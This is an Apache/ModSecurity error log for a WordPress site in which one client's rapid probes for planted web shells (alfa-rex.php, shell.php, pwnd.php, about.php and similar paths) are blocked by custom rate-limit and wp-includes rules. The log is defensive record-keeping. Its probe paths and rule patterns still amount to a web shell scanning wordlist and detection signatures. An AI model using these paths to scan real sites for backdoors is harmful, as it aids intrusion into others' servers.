[Sat Nov 22 05:36:20.339341 2025] [:error] [pid 53478:tid 53531] [client 172.161.73.78:10523] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aSDbVAhUYdXBbQswAdQN5gAAAFY"]
[Sat Nov 22 05:36:21.915981 2025] [:error] [pid 53566:tid 53585] [client 172.161.73.78:34735] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aSDbVcbSHDBkRbwMbd4x4gAAANE"]
[Sat Nov 22 05:36:24.120816 2025] [:error] [pid 25856:tid 25861] [client 172.161.73.78:34726] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "aSDbWBsTP0wy94zKUvGnXgAAAQM"]
[Sat Nov 22 05:36:25.773902 2025] [:error] [pid 53566:tid 53571] [client 172.161.73.78:10548] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aSDbWcbSHDBkRbwMbd4x6QAAAMM"]
[Sat Nov 22 05:36:28.109724 2025] [:error] [pid 53477:tid 53481] [client 172.161.73.78:56122] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/alfa-rex.php"] [unique_id "aSDbXH7Lu30Ku9O40aLYRQAAAAA"]
[Sat Nov 22 05:36:30.042686 2025] [proxy_fcgi:error] [pid 53479:tid 53538] [client 172.161.73.78:61153] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:36:30.446287 2025] [:error] [pid 53479:tid 53536] [client 172.161.73.78:61153] [client 172.161.73.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.161.73.78, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/revslider/public/assets/assets/sources/wp-login.php"] [unique_id "aSDbXm6cicFF3Aas-oRzHAAAAIA"]
[Sat Nov 22 05:36:31.166957 2025] [proxy_fcgi:error] [pid 53479:tid 53556] [client 172.161.73.78:61153] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:36:32.593062 2025] [:error] [pid 53479:tid 53552] [client 172.161.73.78:61153] [client 172.161.73.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.161.73.78, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "aSDbYG6cicFF3Aas-oRzJAAAAJA"]
[Sat Nov 22 05:36:33.275320 2025] [:error] [pid 53479:tid 53541] [client 172.161.73.78:61153] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/themes.php"] [unique_id "aSDbYW6cicFF3Aas-oRzJgAAAIU"]
[Sat Nov 22 05:36:35.644505 2025] [:error] [pid 53479:tid 53546] [client 172.161.73.78:11078] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "aSDbY26cicFF3Aas-oRzKwAAAIo"]
[Sat Nov 22 05:36:37.258001 2025] [:error] [pid 53478:tid 53520] [client 172.161.73.78:10505] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "aSDbZQhUYdXBbQswAdQN_wAAAEs"]
[Sat Nov 22 05:36:39.572417 2025] [:error] [pid 53479:tid 53536] [client 172.161.73.78:56123] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "aSDbZ26cicFF3Aas-oRzLgAAAIA"]
[Sat Nov 22 05:36:42.252257 2025] [:error] [pid 53477:tid 53486] [client 172.161.73.78:61162] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "aSDban7Lu30Ku9O40aLYXAAAAAU"]
[Sat Nov 22 05:36:44.568640 2025] [:error] [pid 25856:tid 25863] [client 172.161.73.78:61186] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSDbbBsTP0wy94zKUvGnkAAAAQU"]
[Sat Nov 22 05:36:47.950472 2025] [:error] [pid 53477:tid 53483] [client 172.161.73.78:42843] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Content/Type/wp-login.php"] [unique_id "aSDbb37Lu30Ku9O40aLYaAAAAAI"]
[Sat Nov 22 05:36:50.084609 2025] [:error] [pid 25856:tid 25858] [client 172.161.73.78:42827] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/style.php"] [unique_id "aSDbchsTP0wy94zKUvGnmwAAAQA"]
[Sat Nov 22 05:36:51.406783 2025] [:error] [pid 53479:tid 53547] [client 172.161.73.78:10944] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/style.php"] [unique_id "aSDbc26cicFF3Aas-oRzSQAAAIs"]
[Sat Nov 22 05:36:53.493506 2025] [:error] [pid 53566:tid 53588] [client 172.161.73.78:10388] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/style.php"] [unique_id "aSDbdcbSHDBkRbwMbd4yNQAAANQ"]
[Sat Nov 22 05:36:56.884885 2025] [:error] [pid 53478:tid 53519] [client 172.161.73.78:37806] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/js/style.php"] [unique_id "aSDbeAhUYdXBbQswAdQOFwAAAEo"]
[Sat Nov 22 05:37:02.176243 2025] [:error] [pid 25856:tid 25868] [client 172.161.73.78:64505] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aSDbfhsTP0wy94zKUvGntQAAAQo"]
[Sat Nov 22 05:37:09.297272 2025] [:error] [pid 53477:tid 53487] [client 172.161.73.78:60590] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aSDbhX7Lu30Ku9O40aLYlQAAAAY"]
[Sat Nov 22 05:37:10.220491 2025] [:error] [pid 53479:tid 53551] [client 172.161.73.78:46906] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aSDbhm6cicFF3Aas-oRzWgAAAI8"]
[Sat Nov 22 05:37:13.042945 2025] [:error] [pid 53477:tid 53491] [client 172.161.73.78:65040] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aSDbiX7Lu30Ku9O40aLYngAAAAo"]
[Sat Nov 22 05:37:14.027463 2025] [:error] [pid 53478:tid 53517] [client 172.161.73.78:65069] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aSDbighUYdXBbQswAdQOKQAAAEg"]
[Sat Nov 22 05:37:15.292674 2025] [:error] [pid 25856:tid 25863] [client 172.161.73.78:11009] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aSDbixsTP0wy94zKUvGnygAAAQU"]
[Sat Nov 22 05:37:16.032940 2025] [:error] [pid 25856:tid 25875] [client 172.161.73.78:64509] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock.php"] [unique_id "aSDbjBsTP0wy94zKUvGnzQAAARE"]
[Sat Nov 22 05:37:17.094094 2025] [:error] [pid 53566:tid 53584] [client 172.161.73.78:60557] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/about.php"] [unique_id "aSDbjcbSHDBkRbwMbd4ylQAAANA"]
[Sat Nov 22 05:37:31.306422 2025] [:error] [pid 53477:tid 53492] [client 172.161.73.78:64501] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Content/Type/index.php"] [unique_id "aSDbm37Lu30Ku9O40aLYrwAAAAs"]
[Sat Nov 22 05:37:49.492322 2025] [:error] [pid 53478:tid 53520] [client 172.161.73.78:10796] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSDbrQhUYdXBbQswAdQOSAAAAEs"]
[Sat Nov 22 05:37:53.108241 2025] [proxy_fcgi:error] [pid 25856:tid 25868] [client 172.161.73.78:44205] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:37:53.352675 2025] [proxy_fcgi:error] [pid 25856:tid 25875] [client 172.161.73.78:44205] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:37:56.184441 2025] [:error] [pid 25856:tid 25870] [client 172.161.73.78:44205] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/network.php"] [unique_id "aSDbtBsTP0wy94zKUvGoHwAAAQw"]
[Sat Nov 22 05:37:57.223513 2025] [:error] [pid 53566:tid 53577] [client 172.161.73.78:60076] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/chosen.php"] [unique_id "aSDbtcbSHDBkRbwMbd4zLQAAAMk"]
[Sat Nov 22 05:37:59.816035 2025] [:error] [pid 53478:tid 53525] [client 172.161.73.78:10802] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/pwnd.php"] [unique_id "aSDbtwhUYdXBbQswAdQOUwAAAFA"]
[Sat Nov 22 05:38:08.622772 2025] [:error] [pid 25856:tid 25858] [client 172.161.73.78:44175] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/pwnd.php"] [unique_id "aSDbwBsTP0wy94zKUvGoNAAAAQA"]
[Sat Nov 22 05:38:11.298605 2025] [:error] [pid 53479:tid 53558] [client 172.161.73.78:38218] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/pwnd.php"] [unique_id "aSDbw26cicFF3Aas-oRzmQAAAJY"]
[Sat Nov 22 05:38:15.585464 2025] [:error] [pid 25856:tid 25878] [client 172.161.73.78:10676] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/cong.php"] [unique_id "aSDbxxsTP0wy94zKUvGoTAAAARQ"]
[Sat Nov 22 05:38:21.143070 2025] [:error] [pid 53566:tid 53582] [client 172.161.73.78:10638] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/cong.php"] [unique_id "aSDbzcbSHDBkRbwMbd4zXAAAAM4"]
[Sat Nov 22 05:38:27.130936 2025] [:error] [pid 53479:tid 53555] [client 172.161.73.78:45544] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/cong.php"] [unique_id "aSDb026cicFF3Aas-oRzvwAAAJM"]
[Sat Nov 22 05:38:28.269504 2025] [:error] [pid 53566:tid 53589] [client 172.161.73.78:45537] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/shell.php"] [unique_id "aSDb1MbSHDBkRbwMbd4zawAAANU"]
[Sat Nov 22 05:38:30.362034 2025] [:error] [pid 25856:tid 25869] [client 172.161.73.78:45507] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/mah.php"] [unique_id "aSDb1hsTP0wy94zKUvGofgAAAQs"]
[Sat Nov 22 05:38:31.427319 2025] [:error] [pid 53566:tid 53592] [client 172.161.73.78:48930] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/mah.php"] [unique_id "aSDb18bSHDBkRbwMbd4zcQAAANg"]
[Sat Nov 22 05:38:34.846725 2025] [:error] [pid 53566:tid 53574] [client 172.161.73.78:48938] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/mah.php"] [unique_id "aSDb2sbSHDBkRbwMbd4zfQAAAMY"]
[Sat Nov 22 05:38:37.184182 2025] [:error] [pid 25856:tid 25881] [client 172.161.73.78:48911] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/mah.php"] [unique_id "aSDb3RsTP0wy94zKUvGokQAAARc"]
[Sat Nov 22 05:38:38.390494 2025] [:error] [pid 53566:tid 53582] [client 172.161.73.78:45567] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/admin.php"] [unique_id "aSDb3sbSHDBkRbwMbd4zhwAAAM4"]
[Sat Nov 22 05:38:39.788507 2025] [:error] [pid 25856:tid 25863] [client 172.161.73.78:48922] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/admin.php"] [unique_id "aSDb3xsTP0wy94zKUvGolQAAAQU"]
[Sat Nov 22 05:38:40.554704 2025] [:error] [pid 53566:tid 53570] [client 172.161.73.78:48956] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/admin.php"] [unique_id "aSDb4MbSHDBkRbwMbd4zjgAAAMI"]
[Sat Nov 22 05:38:44.409474 2025] [:error] [pid 53477:tid 53493] [client 172.161.73.78:45521] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/admin.php"] [unique_id "aSDb5H7Lu30Ku9O40aLZIgAAAAw"]
[Sat Nov 22 05:38:47.611514 2025] [:error] [pid 53478:tid 53515] [client 172.161.73.78:40725] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aSDb5whUYdXBbQswAdQOngAAAEY"]
[Sat Nov 22 05:38:49.720129 2025] [:error] [pid 53478:tid 53525] [client 172.161.73.78:38217] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aSDb6QhUYdXBbQswAdQOogAAAFA"]
[Sat Nov 22 05:38:51.867286 2025] [:error] [pid 53566:tid 53580] [client 172.161.73.78:63004] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aSDb68bSHDBkRbwMbd4zoAAAAMw"]
[Sat Nov 22 05:38:54.904947 2025] [:error] [pid 25856:tid 25882] [client 172.161.73.78:43485] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aSDb7hsTP0wy94zKUvGovgAAARg"]
[Sat Nov 22 05:38:56.667872 2025] [proxy_fcgi:error] [pid 53479:tid 53557] [client 172.161.73.78:63035] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:38:56.904655 2025] [:error] [pid 53479:tid 53541] [client 172.161.73.78:63035] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/variations.php"] [unique_id "aSDb8G6cicFF3Aas-oRz5AAAAIU"]
[Sat Nov 22 05:38:58.874417 2025] [:error] [pid 25856:tid 25880] [client 172.161.73.78:42092] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/wp-login.php"] [unique_id "aSDb8hsTP0wy94zKUvGoxgAAARY"]
[Sat Nov 22 05:39:00.659524 2025] [proxy_fcgi:error] [pid 53478:tid 53521] [client 172.161.73.78:42104] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:39:01.157638 2025] [:error] [pid 53478:tid 53525] [client 172.161.73.78:42104] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/about.php"] [unique_id "aSDb9QhUYdXBbQswAdQOtAAAAFA"]
[Sat Nov 22 05:39:03.118453 2025] [proxy_fcgi:error] [pid 53477:tid 53497] [client 172.161.73.78:44813] AH01071: Got error 'Primary script unknown'
